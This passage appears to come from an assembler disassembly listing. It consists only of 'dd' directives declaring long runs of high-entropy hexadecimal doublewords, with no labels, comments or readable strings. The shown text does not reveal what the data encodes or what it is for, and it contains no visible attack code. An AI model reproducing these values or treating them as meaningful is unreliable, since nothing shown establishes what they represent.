58616B55h, 59970FF6h, 4C5C4B80h, 40F9F62Dh dd 0BE6C717Ah, 4798014Ah, 0C1E8C221h, 74500CE8h, 0C665F074h dd 56A2DE09h, 0A105BE5Bh, 0FFD6BFFDh, 65C90BF6h, 48012091h dd 60A67AECh, 0F9A9A206h, 0ADE82054h, 1890FD41h, 56F75EA3h dd 498E053Ch, 9AA10F91h, 6B3A752Ch, 7023284h, 7A1E23E9h dd 0F0870973h, 0C07712D9h, 0B7A0B96Ch, 0A9A2DEE6h, 590545Fh dd 0FE425A68h, 806B3B99h, 8947F9Ah, 31E5810Fh, 383FEC11h dd 43301F8Ch, 61ED012Ah, 8266CD27h, 0F61A570Ch, 4089FFCBh dd 0E966B155h, 8C2E3AF1h, 0C7502E6h, 0AA20677Dh, 0BBCA830Fh dd 0BAFEB2B1h, 5BC3E8D6h, 0B9512550h, 73B909D6h, 76B3A55Eh dd 0B4667812h, 8412BBC9h, 0FB26326Eh, 3C6B0596h, 0D5B0E9A9h dd 8901EF99h, 29377812h, 0F739B03Bh, 2B000DE6h, 0F309E02h dd 9C0A818Ah, 60DCBD8Bh, 0C25ACB26h, 5207BA76h, 2039EE3h dd 0A8882DB4h, 48F5151Eh, 0B5EAA41Ch, 0AF5748CAh, 7FEFD41Ah dd 22A9CCC4h, 0E3004709h, 7CED75E3h, 5FFE0109h, 0B8797D29h dd 7DC913ACh, 5C0035F1h, 4BE9965Bh, 0B2FE58F2h, 2DFAB8E0h dd 7649302Fh, 549333A7h, 2878DDBAh, 0C9692CF8h, 289093Eh dd 0BB817AEh, 0C9E65342h, 43A1D0Ah, 200B732h, 0E93DD30Bh dd 0BCA55A59h, 0FEA2B6EAh, 0AED5801h, 86205CD4h, 10ED70B7h dd 0A1FEEE16h, 0C60002DEh, 6B9AD5C1h, 0E2FBFC97h, 84F409E9h dd 8AC40C96h, 9F6E3EAh, 7DFEA1F2h, 5C9F1614h, 1A5E72E2h dd 0D3AB6809h, 619909F2h, 97BC4757h, 2FC4725Ah, 4368D5E9h dd 15D9590Ah, 0CD218B09h, 0BF22C6FAh, 502F3354h, 872BA069h dd 0F0FBA35h, 0EEBA22DDh, 0E30AFC46h, 0B4C42C58h, 0C80F60EEh dd 314ED0E9h, 0B12C1AA3h, 48D5A5B5h, 0F3B02A10h, 0E0A180Eh dd 9F4A5E10h, 76C54A7Eh, 0D15CB549h, 6FB1626Bh, 27DF00F7h dd 4FE9E7D0h, 82F3D814h, 417E110Bh, 80E85E09h, 16DB5201h dd 0B3EECB29h, 7F9C09BFh, 0A1A780C7h, 444952E3h, 4113BA2Eh dd 94D0C7C8h, 184F185Eh, 3F25EC42h, 0A400D0EBh, 0BB79B7C1h dd 256DE986h, 20C3983Ch, 0C9F6B153h, 5B9FA0B2h, 9F7A02Dh dd 753F1F96h, 82C1785Dh, 841B7408h, 0EEFF602Bh, 0E9A84AACh dd 0F6D4F127h, 0C068503Bh, 0D6D4444Ch, 26BFA402h, 0B1DF41CAh dd 0C4EF9354h, 902AC253h dd 33CB94D5h, 0E1C3F73Dh, 17F21A0Fh, 48DCFA77h, 2DFB314Fh dd 0ED54215Fh, 4E21B096h, 0A3623F14h, 5BF8029Ch, 0C1E1D828h dd 0A980040Eh, 7B744BA4h, 5FC2291Ch, 0C80F40DFh, 4F5F6C68h dd 0A0F23E37h, 20E666FEh, 9DB00267h, 5D82D7E0h, 5BE700DEh dd 0FFC28BAEh, 1AC2E2Eh, 72B7B206h, 0D6F21D6Dh, 0BFB1D8E9h dd 0B30DBBF3h, 0E601AB6Ah, 2EAFCCFh, 48883B29h, 7846BF60h dd 203AB3Bh, 205C66C7h, 1586DEF5h, 3D099C5Dh, 0BD745A75h dd 0B7005212h, 4DC570E8h, 78CA5889h, 4064F926h, 75AF7CAEh dd 1EEAE3ECh, 18C164FAh, 288F60F0h, 0A0293Fh, 627CB7A2h dd 8BB00B5Fh, 11022F75h, 83E289C0h, 3C260109h, 42AF8B0Fh dd 2EC2DFA4h, 0E98B1C74h, 778CE2C8h, 0C901EBD9h, 4D5F7C55h dd 4E0FEE40h, 0FA924FF2h, 0ACBFEF24h, 31D3A199h, 79C08C3Bh dd 0BF64F740h, 9F472F82h, 7168DF0Bh, 0D34A3034h, 1397CAEFh dd 404BF653h, 2FEB74A6h, 23600864h, 2FD76849h, 0A8565E36h dd 66170030h, 81E93713h, 238B7E4h, 3017E668h, 0DCBB5A86h dd 7B90521Dh, 5413429Fh, 0C5417250h, 66F5F2CBh, 674F0996h dd 98042F52h, 27ACE719h, 6429F957h, 0CCBE1283h, 6B4A7A92h dd 0E9C68EF2h, 0C012598Eh, 710406EEh, 0B4919439h, 0EA056011h dd 0BE4B2EA6h, 0A7D0B6CAh, 0BD23A6C6h, 36CC902h, 83415DBEh dd 9A187AFCh, 44C0DFA8h, 18064FEh, 225D9FDAh, 723C2D34h dd 0D7244097h, 5D5C0B9Dh, 0F4B7CF9Eh, 6F6EB43h, 7071E9C2h dd 0A7594BB8h, 2288760Fh, 215E809Eh, 6F5A5AB0h, 75AA4317h dd 0E431EF9Eh, 8C3A9E08h, 0FAA0559Fh, 3ACB6F5Bh, 0ACA17C58h dd 0EE99BE6Ah, 0F0D0F1F9h, 0E9C98812h, 98137249h, 343C3042h dd 7182F10Ah, 7CB96CFFh, 83B88026h, 0CFDAD752h, 652A6814h dd 0E3E9B0FAh, 5D80C9A8h, 819DB857h, 15CF09EDh, 0C50A2320h dd 16853A30h, 0A04F3A0Fh, 5CBAFEF7h, 2F8A5A9Fh, 0B2D858C6h dd 97BE5621h, 9680AAEAh, 95225DE9h, 51C70859h, 0FA8B0F4h dd 1053542Fh, 0D508750Ch, 3A474195h, 4A562ABFh, 98AE8B34h dd 0E54F8AD1h, 0AFE58CF8h, 1A82EAF5h, 0C7205BB0h, 0AC3245F5h dd 0DC417A2Ch, 5E3E747Ah, 14055995h, 0F580D111h, 0EDCB5072h dd 1099015Ch, 0F093F60h, 30506D8Ah, 4D2D417Ch, 5A1376A6h dd 705EC341h, 0AEA0605Eh, 0B426270Bh, 4218C314h, 25169A12h dd 0E8D557ACh, 27F43310h, 7562FA3Ah, 0F0E1CB92h, 0C3999317h dd 0EC3DF1BEh, 0B3AA50B8h, 43DFE90Eh, 55872A44h, 271905C0h dd 0E9211509h, 0E99B43B6h, 68145EBh, 0B9FCB81h, 7A5530E0h dd 2F804840h, 2B717ECEh, 0FDEB5D27h, 0C5BA784Bh, 13ECFC71h dd 3787D882h, 2C5E0804h, 5EF002FFh, 7E7609E9h, 65F9D625h dd 423BF66h, 86109C4Bh, 0F75C203h, 0C004EEDh, 0FDB2A38Fh dd 255AD601h, 3958F289h, 0FB007D9Dh, 0FEB4F8E9h, 0B36329BCh dd 0E9BF8425h, 0FFB0B27Ch, 0BEC54025h, 0A3B450D7h, 0E47B65A1h dd 348E7E0h, 5C50008Ch, 0E6813ACAh, 0F77C1D4Eh, 49F68316h dd 0C3C54D06h, 39B95BC4h, 0BDA02B1Ch, 624BE83h, 752A9268h dd 0A0F6D320h, 80330C2Eh, 760EFD68h, 6B5B3A87h, 97A9F0F3h dd 72270B40h, 0C176CB6Eh, 57B9037Bh, 0AADB17Ah, 0A24E7D69h dd 2E606131h, 1CF25603h, 0C68F6B5Ch, 22FB269Bh, 4673010Ch dd 0BE999CFh, 947B684Bh, 4B565C32h, 0E3A498FAh, 5B7CC3B7h dd 0D016B719h, 7864A154h, 0BC505407h, 5FAA4F09h, 0BD2ECA3Eh dd 0EF274244h, 0E29AB3DEh, 8CE07595h, 0B1A8FB9Ah, 0B4054248h dd 0DBF75B49h, 9CC48281h, 113CE76Bh, 0EA2FE59Bh, 8AAD05F6h dd 190302ACh, 0F9433C05h, 0F5D81DCDh, 9E5F84Bh, 3747B4Fh dd 81FA2FDDh, 6D0E8211h, 265DBA20h, 28E70829h, 438ECFE1h dd 21EBF065h, 0C110A6B7h, 8794241Ah, 8816AE94h, 0F807D9AAh dd 1EBAFBD2h, 0F5660397h, 0B336C98Dh, 0A698C62Bh, 0DC5BC40Ch dd 320C72h, 2904B135h, 34E953FDh, 0DB419DFFh, 7CCA0FC9h dd 8568E113h, 0CCC35131h, 0CF0705B4h, 570B09DCh, 84217BECh dd 55F4432Ah, 4BCADB00h, 0F536423h, 6D462587h, 2BBAB8DDh dd 0DCEFC3F7h, 0D6CAEB31h, 87BE5FFCh, 7A376811h, 1A9DEF60h dd 92C6C2F4h, 0EFD7FEF8h, 5AE905CFh, 0B8C291C7h, 0C3C83FA8h dd 82627B7Dh, 0AFE7CE05h, 0D12B8144h, 1E72BEFDh, 0D71BE84Ah dd 0B04452CAh, 97B85068h, 48F35758h, 0FC084171h, 0D6BDDF29h dd 5226BB4h, 7E09CA6Fh, 6851072Fh, 8F1B2B63h, 0C2A2A3C7h dd 0B928BEDCh, 0E0E93F57h, 0BF33FE2Fh, 0C0F2D392h, 9099C02Dh dd 548C68D0h, 4F4FDF38h, 8440E362h, 99FFEE83h, 678F6FD7h dd 0A3650312h, 7FFD10F1h, 79846375h, 0E4D066B9h, 82950925h dd 20F718A9h, 4A4715D4h, 0B7E719Dh, 0BAF609A8h, 130B7F52h dd 0A8689102h, 98EFC6D7h, 5C30851h, 3000731Bh, 0E9AA0712h dd 0F544069h, 2C94844Eh, 1938FCFAh, 509CCD8Eh, 712FB840h dd 9C3D62E5h, 665F7DBFh, 0D17261F9h, 0E745ED80h, 2B59EE81h dd 68C3CBADh, 0EF85616Ch, 5080D4F3h, 5F66F0B8h, 0D8F76A12h dd 92777804h, 349DE902h, 9009EC52h, 77EE508Fh, 35677C60h dd 0A35322BCh, 0D03D0896h, 0EE00FE98h, 42150DA5h, 0FC71B031h dd 0E4B34FD9h, 0D04195EBh, 0D105DA29h, 0F20E166h, 38B23790h dd 0C17D3AC9h, 60E60885h, 826E422Dh, 73FEA024h, 46BD24AAh dd 5B169F81h, 0AF56EB28h, 0E2AFA774h, 82D85F8Fh, 82154AE9h dd 7974B892h, 0E8AED044h, 0C92698D2h, 0F38980AAh, 0EB04ECB0h dd 7B664954h, 24B2DAC7h, 0C6D52B1Fh, 97FC27DCh, 0F8C626A4h dd 0A63D9EDAh, 0C5933A04h, 4E8D9AEAh, 80128964h, 20AD39AFh dd 5D80F913h, 5EDB9056h, 0AE331789h, 0BE5E258Bh, 5156ED03h dd 7815605Eh, 8A7C5562h, 0D2954198h, 9DD0B7DEh, 5B160D20h dd 593984Fh, 13A9B94h, 2B02D5Bh, 8CD6D801h, 26592007h dd 10FE3828h, 524C75C0h, 0C9FC5B2Ah, 8708CBDFh, 0ED669955h dd 0F6606E7Dh, 51DB57A0h, 0EF508398h, 8B7F5D07h, 50A0D49Fh dd 0E2AA45E9h, 29C8CF61h, 79B32E84h, 0C5CFB0BDh, 2D03A0B9h dd 7F805FA9h, 943EF181h, 0DD72952Dh, 5D0B8D16h, 22DCCBE9h dd 553AD3ECh, 73106618h, 4FFA7FF6h, 1F300B5Eh, 24597893h dd 2624296Dh, 68060FFBh, 8013558Ah, 4A3BBF57h, 0C2BF317Bh dd 0D4E3D50Dh, 0B02644A8h, 2E9070Bh, 55DD12BBh, 3FDA06CBh dd 51B7ABD8h, 40086DD9h, 0C41986F0h, 0E9526D02h, 0FDFE9D12h dd 0D828C3C5h, 7F33322Dh, 0D34BCE96h, 8EBB284h, 6426FBA7h dd 95F3CF0Ch, 0A9B509C5h, 0B77F774h, 0FB025F31h, 9D745431h dd 8087449h, 291363F0h, 0FEA84517h, 0F05693DFh, 9809BAF7h dd 3BC53Fh, 8667B04Ah, 6ED1B53Ah, 0D24EE90Bh, 0ECC30719h dd 0BEF9A763h, 5505A0D3h, 0D2BF8D98h, 2724ED39h, 125A0EB9h dd 0AE4CE903h, 881C53D0h, 0D9DE51EBh, 7F8171CBh, 38130299h dd 79914B1Fh, 0B650BC38h, 0BA029F6h, 0F189A820h, 3A26AFC5h dd 2EC0570Ch, 0B800005h, 0F8013F55h, 0CCBD9168h, 5C883D4Bh dd 42E92C85h, 0E831BE6Bh, 0B7004BC9h, 0EF03C082h, 2D880F08h dd 0A8165E91h, 1EFA1D3h, 89EA5711h, 5AD3BBh, 8BFBC202h dd 65A2FC77h, 0ABC7C7CEh, 0F9ECFAA1h, 0B956C93Dh, 9514D8DDh dd 8275ECE2h, 0F71A281Ah, 0AEFCFD33h, 9DF7A588h, 0B6BE1300h dd 532C373Dh, 5F01FD81h, 90E91220h, 4044002Ah, 42258D2Dh dd 32A4585Ah, 3CD74178h dd 8AF8CB37h, 818E1340h, 891EE1CFh, 0EB454F6Eh, 0C7853FA8h dd 33A0BB58h, 9E0B539Eh, 80ABAC4Eh, 2ADB50D5h, 1C46E168h dd 5BE720B7h, 0DFA0585Fh, 0D5AE0463h, 65DD2955h, 0A0AE6E12h dd 0D6BD5B70h, 47F77929h, 0AA5E25BCh, 62EB9B13h, 394AB42Ah dd 624C5E77h, 9C8EEB6h, 0B00B5EF5h, 84D03051h, 8AEFE073h dd 11E24B7Bh, 8DFEA9A5h, 5B61C9D9h, 0FA4B0128h, 5713FD8Ah dd 0C7B5BE50h, 0FE53321Ch, 4A4790FBh, 9AF9C849h, 0B4690828h dd 0EF931A3h, 356281F0h, 75862CF9h, 5E993730h, 0BC974132h dd 0EF3C2279h, 11D731B2h, 2CFD1EBh, 702D020Ah, 71FF375Dh dd 29F1271Eh, 0DDF32DC2h, 0C268FA10h, 56170109h, 9D5A775Eh dd 7B280400h, 8B8D0F3Fh, 41A9B6F5h, 6EEF53E9h, 0D42CE892h dd 96552F45h, 415198F3h, 0BEE2EAFh, 9102AB3Eh, 54E9290Ah dd 4100D37Ah, 757B78C2h, 7D860F0Ch, 0FBD49505h, 0D2AA4E58h dd 9E58E032h, 0F41A099Fh, 9588EEAEh, 80270B6Bh, 7A9BBB70h dd 95B927Dh, 0B4828564h, 0A9745F86h, 0C383D30Bh, 542B0001h dd 0B5776235h, 0ECE98E02h, 873B4A58h, 1E7296D5h, 82B5A9ACh dd 87A7CC7h, 6683728h, 0E0D98220h, 5B662DFAh, 42C2B2C0h dd 2FC1DA9Fh, 72F40837h, 0F9E42539h, 48E6EFFDh, 0E205F928h dd 389443D8h, 6941A21Ch, 0D721F4C9h, 0AA30EE65h, 607B9350h dd 0FEB247E9h, 0B4FD1B5h, 9766C874h, 58F16825h, 0E1FB9514h dd 0F063FEAFh, 0FF823767h, 0E9C1F559h, 0C834A4BCh, 5FF8EED6h dd 82C097C4h, 0DF09FEA2h, 76502AF9h, 905EB2D2h, 9AB55D78h dd 0A9F617Bh, 0F5B2F680h, 2F843EEEh, 0B730A8FBh, 0F0AC62A5h dd 0C46680Bh, 65624C7Ch, 0B45C05BEh, 0FD7C882Fh, 0A485DD6Eh dd 939392D6h, 8BBBD5C2h, 7FF94E04h, 0E409492Fh, 5BF2E47Dh dd 10C2D0D2h, 5C95FEECh, 2F0C5940h, 9BB62FD4h, 0FB4E5112h dd 82CC74h, 0B996164h, 1A3A53Bh, 0BDB8E908h, 27F78233h dd 5D6FD542h, 0A090F1E8h, 8104FE5Ch, 6B9820E2h, 0DD42163Ah dd 0ECCB2BB5h, 6948152Dh, 6C765CC6h, 7F12FC4Bh, 0E6A7A091h dd 6DF65307h, 1CB80A4Ah, 4338FB96h, 70AC7CBFh, 0FD092FBAh dd 0F9FB8E39h, 0E87D30FEh, 0A4D7C5B5h, 0ABAE12C0h, 2D68816Ch dd 94651FE8h, 28153988h, 0DAE700C1h, 0F13EA43h, 0BF4AB982h dd 0ABF147BCh, 0DEF7002Eh, 0CE84120Fh, 3288EA72h, 1E0C4D69h dd 1651E21Eh, 0BAF2C48Bh, 8E2E8ACBh, 0DAC0AD86h, 0AFA8C20Bh dd 5C133FEBh, 6DD46085h, 2D670814h, 884FD139h, 26264C9Ah dd 0D461D800h, 9EF815Bh, 4741574Fh, 8A0B77Eh, 653BD380h dd 43E3F99Fh, 8E58D3D8h, 31A312D3h, 0EC9E99FFh, 0E595E72Bh dd 2EEB0125h, 2B09F763h, 804D6E5h, 0E8722DBAh, 49B9FEB1h dd 4565189h, 0B2BC6CCBh, 731FCBC1h, 8AF0301Bh, 0CF210F81h dd 7872912Ch, 769FA2CCh, 0EB8A0BB6h, 1A1F4E57h, 3093A9E9h dd 0F2D8175h, 0B4246788h, 0A40CF42h, 0DF890690h, 9FCC8D2Ch dd 0C8220D5Fh, 2F45FE3Ah, 35EBB3C4h, 3547003Bh, 61153144h dd 2120B8A0h, 180F1B26h, 63B7B713h, 38D0B770h, 7294392Ch dd 8AC7EAFh, 32289F1Fh, 95653A04h, 49BF4D1Dh, 6E29AD83h dd 52187EFEh, 5EC426h, 0CD816367h, 3306324Bh, 0D1E925h dd 3E0C100h, 527CF248h, 0D4129C8Fh, 0B54ED11Dh, 0FE5B00FAh dd 215C5ECAh, 3788AC2h, 9689EFE9h, 0BAC24F3Bh, 150F483h dd 49452C1Ah, 30DFF77Bh, 7C005328h, 0D90542E5h, 289D1F27h dd 41E1C701h, 93F93B03h, 0D127124Ch, 0E1834A7Dh, 0C46F123Dh dd 2F8FBA58h, 13F6AD4Ah, 0A456D69Bh, 59CBD3ABh, 0C67D39B2h dd 4AE917C8h, 0AF6F35B3h, 151F1F4h, 8C784BB9h, 20E1C13Fh dd 522D8A0Dh, 0AE9E7737h, 13A13424h, 1597681Ch, 0C3A60BF8h dd 0E4D7592Fh, 0D412278Ah, 6EDAD5BBh, 310E11D6h, 9CA4E4DFh dd 5515FC8h, 89503CE2h, 416982F0h, 0C18517Dh, 0EFCFB96Ah dd 5B570425h, 0D15749A1h, 54A9977Eh, 59723FABh, 0EB0E8311h dd 58806034h, 46AC0540h, 354E4300h, 8263043Dh, 0C06B4AE9h dd 3FD82D8Eh, 56020BF4h, 8E1468BEh, 13A2822Eh, 1621FF78h dd 7F4531A5h, 0C1596FB0h, 0F0440FCEh, 33E86E42h, 8895E618h dd 0C8945954h, 0E95904E9h, 0F481B8BAh, 56BF6913h, 3C3DEED9h dd 96AFE96Ah, 0E237D3ABh, 39BD7C4Eh, 0B786626h, 4444DCCAh dd 10E8C117h, 445C63B0h, 3E409C58h, 0C2B5945Dh, 570B8AF5h dd 0B4B06148h, 74C83AEBh, 0C9BF4E2Fh, 0AEBE30D1h, 0FB0BEA8h dd 12BC48B1h, 69B075AFh, 2B17416Dh, 0FE133EB9h, 894A370h dd 12FFF1E7h, 0F88AEFEBh, 3CE95C04h, 0A153B83Bh, 5000D4ABh dd 0C7E4C888h, 0FE59581Dh, 1413AA24h, 28E98542h, 2D5B45D7h dd 845A9B64h, 0FDEA444Bh, 6FFE93ABh, 758E3FC2h, 49E64620h dd 0D8A0442Eh, 0F94A0AA9h, 35D717C0h, 0CC324C5Bh, 814A081Eh dd 71776AF2h, 10D27BA9h, 25A274A7h, 2917CD14h, 34E92DE8h dd 0DBE95D0Dh, 10D97875h, 0EC4E535Fh, 4D7510AFh, 410AE818h dd 94006ECCh, 16101E53h, 22923B2h, 5C87F381h, 0F7F32BFh dd 162FD846h, 7AE600ABh, 753A6BB9h, 19017E41h, 5004EDB1h dd 0D2B65867h, 0B002E0Ah, 0E425699Dh, 30F63307h, 0A24909E9h dd 0CE028630h, 0C393E091h, 1689611Ah, 23BD9031h, 5B804600h dd 21E8B419h, 9C7FC6EEh, 0EDA18F00h, 5D0C4D34h, 8B5F0E1Ah dd 661A419Dh, 0E77EF4C0h, 0C72A63Eh, 19183D85h, 19EA03C7h dd 6E93A88h, 92416501h, 518C821h, 0C0363A9Ch, 0B8660F83h dd 9E98130Ah, 2B503203h, 315B185h, 9D29594Ah, 0E071F95h dd 3103EE83h, 0C05F993h, 0CE94E12h, 0C8001461h, 809F8395h dd 398B42FAh, 81840721h, 0AA9974FEh, 0B07E6C4Eh, 0C068B41Fh dd 32A65D2Eh, 393B6AB8h, 62EE8046h, 958F7F04h, 0C1340216h dd 0EB4CF3A7h, 8E63C0F5h, 2C503E71h, 6E482448h, 54EE6300h dd 340E4383h, 48051CAh, 4BD986DFh, 0A001089h, 39DC6E49h dd 181B02A9h, 0FEC5839Fh, 0D9035AAAh, 0C750F7D7h, 2169E30Ah dd 46083629h, 84C39088h, 0DA486BB2h, 0C47ABF43h, 4421F08h dd 18CE2275h, 97BF7200h, 41960051h, 0A35F2F4h, 550092D4h dd 0F63137A9h, 7D01627h, 5FAB14Ah, 0A5E930FCh, 47009B12h dd 293ABC7Bh, 0D4DFE6h, 5EA2175Dh, 0C2AEEC24h, 9891D200h dd 3E97B6E3h, 887153h, 0DB451C21h, 0FDF36494h, 0B7057600h dd 0ABC975B6h, 696C0052h, 98DEF283h, 21009A53h, 23D61EF5h dd 325CFA1h, 28B26556h, 8490BC50h, 2601D248h, 9E945DBBh dd 2ED463BDh, 24B10786h, 57B573F3h, 7A8F5031h, 5000A062h dd 969CD2B9h, 0B84895A8h, 0F39200F8h, 7A431752h, 4C00BFB7h dd 36B8A3F5h, 0B0F186h, 0FC3E41D5h, 0F9763AD0h, 17DED100h dd 0A97F429Ch, 0E8CC003Ch, 0CEC0ABDCh, 87003605h, 7C6FB104h dd 0D20B08h, 56B73179h, 0C4DD397Bh, 0FB78E009h, 430C0EBCh dd 0FF91D7FFh, 0F5903467h, 3D2144Bh, 7077E915h, 10F067B6h dd 3A2A710Dh, 0E500B845h, 0BB87D8D2h, 69757Ch, 9D159F26h dd 25996357h, 1202C0A0h, 4EEBD100h, 8AEF6913h, 617A23h dd 4F76F881h, 0EE54F76Fh, 9FD63607h, 0ACC02C52h, 5C045F9Bh dd 381DA7BEh, 0C71C00E7h, 693F3007h, 3131900h, 48F433C3h dd 0F2750717h, 479A0C21h, 593690E4h, 0BB2460E2h, 92037C5Bh dd 0E0B2938Bh, 7F312Ch, 5FD146CAh, 0D273E56Bh, 13051600h dd 3F1D6AA1h, 501000CEh dd 0F7B22EDCh, 7AEF1863h, 3EF00CB0h, 458C59B0h, 0A9B0309Bh dd 5A005790h, 274B46D4h, 1505DD3h, 3A3841B6h, 0D08788BBh dd 0DA00F5B3h, 939F2948h, 0E42676h, 96CC9A1Bh, 0F0A0FD53h dd 8E98D800h, 7FF7F908h, 0E3FB013Ah, 4FFA7339h, 55E0242Bh dd 0DCD00200h, 1B6C6EE8h, 0B3600021h, 7BF30607h, 0D9763B29h dd 0A29CF405h, 29803C71h, 36662B4h, 8CCCC2A5h, 0DEB08F09h dd 7300933Bh, 9D162150h, 0FA1C5B62h, 0C7940003h, 0F8A9BEC2h dd 301DDD91h, 0D0C0B0BBh, 512D451Dh, 48EC4803h, 710B4A00h dd 5414222Bh, 2A6FC315h, 0E25B01B0h, 7BF2FC21h, 0F9CAC050h dd 54230DCh, 9E5DE078h, 3908550Eh, 4504A0FCh, 24D686CCh dd 0CC1046h, 33274258h, 0D000A66Dh, 0D4596A5Ah, 0F8B943h dd 0A82DEB7Dh, 0A009BE4Ch, 0EA00E0E8h, 611CC0AEh, 25E7444h dd 11CD7C22h, 53E0A940h, 0C60FC9AAh, 7101AADh, 9671D718h dd 0CFF8AB06h, 0C30703FBh, 25452CB6h, 15276AD0h, 0E6138102h dd 0C0356BB4h, 9266F3h, 0D6BAA908h, 75010A57h, 4F0F403h dd 121B94h, 0BC47CF59h, 0B5EF42D4h, 706B8400h, 0F2960714h dd 0E48D51E2h, 0F605DCh, 15D8E3FCh, 0B57E3082h, 13102300h dd 0BA83DCC9h, 0F7C0077h, 89B3620Bh, 0E1B0804Fh, 1526E100h dd 96408FC9h, 0C2C079Ah, 0A083B6A1h, 0AB274503h, 0AC3C52h dd 95FB02FDh, 18B0A12h, 0DA8F36Ch, 0E6B335C0h, 7FF28460h dd 2F55C600h, 4ED454B0h, 12C500A9h, 0C876C70Dh, 148E977h dd 295F0328h, 8AD4EBh, 93883E11h, 0FEB4C61Ch, 5C4A01Ch dd 105283C7h, 0C5B5BC60h, 0D21C0124h, 0F03D045Bh, 4F61E482h dd 0D4031972h, 0D5E49749h, 946D0AAh, 0E7FC00BCh, 13F1531Eh dd 0A80657ACh, 0CB349FD8h, 0AF4B006Ch, 475122D0h, 24902D9Ah dd 76B50818h, 0C14BD3Ch, 988A8E59h, 69EADD50h, 0EC70F400h dd 0D48FE2DFh, 67AC0062h, 0DCB9076Dh, 99713FFFh, 8E82963Fh dd 0A0C64F5Eh, 320AF9CCh, 42FD0002h, 17C256FEh, 6C0A1FDDh dd 0E081E77Dh, 194D1000h, 0EF2D22h, 142AEDEEh, 3D89933Ah dd 0AEA35512h, 0E7134800h, 50F5C4E1h, 1D83A01Fh, 71CF1DCh dd 80B073F7h, 0F9D010E4h, 16BFBE07h, 4480905Bh, 22A4AEh dd 69391D48h, 737AA8A1h, 5F527803h, 0D09101ACh, 99AFF79h dd 506271B3h, 0C57D3A00h, 300C04Bh, 5D3C05D6h, 8E9CA2h dd 0D2CD7934h, 5CAE1EDEh, 42461407h, 29C08CF2h, 0CBE78CCh dd 956F53C1h, 72FE1911h, 3BCDA10Eh, 61EA0081h, 0B17DD3Ah dd 0A3E3A911h, 0E70A1800h, 0AE5C69DFh, 0CC0077C9h, 6DAA1C13h dd 3487FB1h, 0E85E6F8Eh, 83959962h, 0FDE8028Bh, 8F1EA32Ah dd 0F1875493h, 45A0F73Eh, 58917B2Fh, 0A001828h, 61E0A91Ah dd 0D303640Eh, 3639AD24h, 38268989h, 4B7034h, 86CAA0AAh dd 5B851CE9h, 0A96919CEh, 347C8044h, 7A04C708h, 393104F6h dd 0C2A21E93h, 0F4E3C8DFh, 4DE0C0D4h, 1A30273Fh, 9B2AE883h dd 0F8080073h, 0EE30577h, 0F34C01B8h, 99C5000Eh, 8F0B4E89h dd 16C59890h, 1AA9A91h, 0E1473035h, 62B07035h, 0B560E04h dd 4807906h, 8B53CAh, 36206ACEh, 0C997E66Bh, 0C8078875h dd 64FC7FC5h, 0C282801Bh, 713C3106h, 0DF5200A4h, 334DE005h dd 0C0C13AAEh, 11CB8DECh, 0F2CA7F8h, 86B63592h, 966EA1E7h dd 0A2005ED1h, 0A9742BECh, 155CEBh, 66F5C80Bh, 0F970188Ah dd 3C2AD300h, 6FF18236h, 448B04Bh, 0FD1A60ABh, 8481C779h dd 404C0F6h, 24338A08h, 0D04711B0h, 12ABE5ADh, 9BFCF4h dd 5E6766B4h, 11CF9C8Dh, 0E7CC0CEh, 3B68B91Eh, 0CA024192h dd 6DC783A1h, 518458C0h, 0BC315F00h, 0CCEF3C14h, 0C2CE26EBh dd 8703052Bh, 3900807Bh, 0CD004BADh, 9EA8481Eh, 0AC84CCh dd 5EBBF88Eh, 0E7DEBDF7h, 6BFEB60Eh, 0DB07720Ah, 58120131h dd 0A308C86Ch, 3E1E28BDh, 6A9300FAh, 0E9714C8Ah, 0C700E33Ah dd 0B4780D77h, 9C2D60h, 0E8D3ECE1h, 0F60BF030h, 0FA3EA700h dd 0C536B675h, 608D0055h, 184E5270h, 3971EBDCh, 1B463200h dd 0F7B8157Ch, 0E7A206C3h, 101A9E78h, 0EF2E1DEEh, 0DA9D4C85h dd 806DC3CBh, 0FE5BB909h, 10754820h, 905F2Ch, 8242DB22h dd 0E1007CC6h, 86969B4Fh, 0FC353BAFh, 52A600A2h, 0CD3AF1C3h dd 0A0009EECh, 42FE8DE1h, 48E81207h, 0C080D8E0h, 4A152C09h dd 7704E48h, 55C2A4F9h, 0C63E5B50h, 43E000E5h, 0C1AF5A54h dd 0D9002815h, 59AEEB7Ah, 48172Ah, 0FF9FD7EAh, 328899CEh dd 0DFE3770Eh, 7D45E010h, 63F4B2h, 18A6945Bh, 0C7292D8Ah dd 0ED19F700h, 51828475h, 1CAA025Ch, 5B364704h, 807F04E1h dd 0EE57DEE9h, 0E4E872F6h, 51700D3h, 0A1B7332Dh, 520016CFh dd 0B5756CCEh, 227B59h, 82181D5Ch, 4CBFB3FEh, 58DD9C00h dd 947C3DAFh, 0D7811020h, 1375084Fh, 0CDF56036h, 3C000E1Bh dd 7A504660h, 90E0B94Ah, 0B6050078h, 802DB327h, 0A00B8653h dd 80B84EB4h, 1FFAE2Dh, 12CC0093h, 2C054F1Dh, 900066DAh dd 0B23EC382h, 28CE6134h, 94E88Ah, 9E4ABC39h, 28DA815Dh dd 83B16707h, 58775219h, 4B46D010h, 0AE4E00E5h, 76A3F49Eh dd 781E8B3Bh, 2E806DFCh, 80EF4081h, 0DB690956h, 1C69DEF3h dd 9338E482h, 3D652100h, 0AEED4BEBh, 8430034Ch, 0C7F20AB0h dd 9B4502A8h, 0F7800301h, 702A6975h, 174FCh, 0E734E531h dd 28A68E6Eh, 5AF1AB00h, 0C5024498h, 47253C38h, 2078B680h dd 9EFF89B8h, 48408A4Bh, 0ED28F76Bh, 33EC00AFh, 5BC3A0EEh dd 0DF013008h, 6B373CD6h, 6DF0BC86h, 71D4E984h, 2567041Fh dd 0C0ADD987h, 249947Bh, 0AE6B3800h, 3E8D81A6h, 16032C9Ch dd 1C9F00E0h, 31AF5EDEh, 0A5699400h, 5A9CF2CCh, 1AE625h dd 5E3DC4C9h, 0A64A3C88h, 0F580AC50h, 945F1700h, 0EB95F768h dd 27792844h, 0FA6F00B4h, 0A5ACE077h, 883DDAF9h, 0EDCB00F7h dd 7D263390h, 0A9BA00FCh, 3FF803C3h, 1B28A422h, 5D07D8D9h dd 0D734651Dh, 463807D0h, 229D0226h, 0B209D3B5h, 7E0C18E0h dd 0D3D2A05h, 0E080C810h, 5F7196h, 164DD554h, 76D1F315h dd 0AA69B400h, 89308F56h, 5C0E1C7Eh, 32AE8559h, 2BC40A8Bh dd 6CFE0BAAh, 0F9E87413h, 6E0084ADh, 6FE9583Eh, 9A41E3Bh dd 6A37AFDDh, 0A5F1C000h, 90000F96h, 598E9D25h, 83268Ch dd 0B7493185h, 